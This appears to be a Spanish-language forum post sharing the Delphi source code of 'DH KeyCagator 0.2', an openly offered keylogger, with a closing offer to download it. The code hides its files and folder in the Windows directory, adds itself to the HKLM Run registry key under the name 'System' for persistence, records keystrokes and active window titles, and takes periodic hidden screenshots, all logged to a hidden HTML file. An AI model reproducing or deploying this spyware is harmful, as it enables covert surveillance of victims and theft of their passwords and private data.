  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
  her.WriteString('System', yalisto);
  her.Free;

  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
    FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

  savefile('logs.html',
    '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  re: Longint;
begin

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    re := GetAsyncKeyState(120);
    If re = -32767 then
    Begin
      Form1.Show;
    End;
  end;

end;

end.

// The End ?

  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH KeyCagator 0.2
// (C) Doddy Hackman 2013

unit dhmain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;

type
  TForm2 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Label1: TLabel;
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    Image2: TImage;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure Button4Click(Sender: TObject);
  private

  private
    Nombre2: string;

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

procedure TForm2.Button1Click(Sender: TObject);
begin
  Label1.font.color := clLime;
  Label1.Caption := 'Online';
  Timer1.Enabled := True;
  Timer2.Enabled := True;
  Timer3.Enabled := True;
end;

procedure TForm2.Button2Click(Sender: TObject);
begin
  Label1.font.color := clRed;
  Label1.Caption := 'Offline';
  Timer1.Enabled := False;
  Timer2.Enabled := False;
  Timer3.Enabled := False;
end;

procedure TForm2.Button3Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm2.Button4Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
var
  dir: string;
begin

  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
    FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

  Label1.font.color := clLime;
  Label1.Caption := 'Online';
  Timer1.Enabled := True;
  Timer2.Enabled := True;
  Timer3.Enabled := True;
end;

procedure TForm2.Timer1Timer(Sender: TObject);
var
  i: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;

const

  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  // Others

  for i := Low(n_raros) to High(n_raros) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_raros[i]);
    end;
  end;

  // Numbers

  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_derecha[i]);
    end;
  end;

  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_izquierda[i]);
    end;
  end;

  // SHIFT

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    for i := Low(n_shift) to High(n_shift) do
    begin
      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
      If Result = -32767 then
      begin
        savefile('logs.html', t_shift[i]);
      end;
    end;

    for i := 65 to 90 do
    begin
      Result := GetAsyncKeyState(i);
      If Result = -32767 then
      Begin
        savefile('logs.html', Chr(i + 0));
      End;
    end;

  end;

  // MAYUS

  if (GetKeyState(20) = 0) then
  begin
    mayus := 32;
  end
  else
  begin
    mayus := 0;
  end;

  for i := 65 to 90 do
  begin
    Result := GetAsyncKeyState(i);
    If Result = -32767 then
    Begin
      savefile('logs.html', Chr(i + mayus));
    End;
  end;

end;

procedure TForm2.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char;
  nombre1: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

  nombre1 := ventana1;

  if not(nombre1 = Nombre2) then
  begin
    Nombre2 := nombre1;
    savefile('logs.html',
      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  end;

end;

procedure TForm2.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap;
  foto2: TJpegImage;
  ventana: HDC;
  generado: string;

begin

  ventana := GetWindowDC(GetDesktopWindow);

  foto1 := TBitmap.Create;
  foto1.PixelFormat := pf24bit;
  foto1.Height := Screen.Height;
  foto1.Width := Screen.Width;

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY);

  foto2 := TJpegImage.Create;
  foto2.Assign(foto1);
  foto2.CompressionQuality := 60;

  generado := IntToStr(Random(100)) + '.jpg';

  foto2.SaveToFile(generado);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);

  savefile('logs.html', '<br><br><center><img src=' + generado +
      '></center><br><br>');

end;

end.

// The End ?

  
  Si lo quieren bajar lo pueden hacer de aca.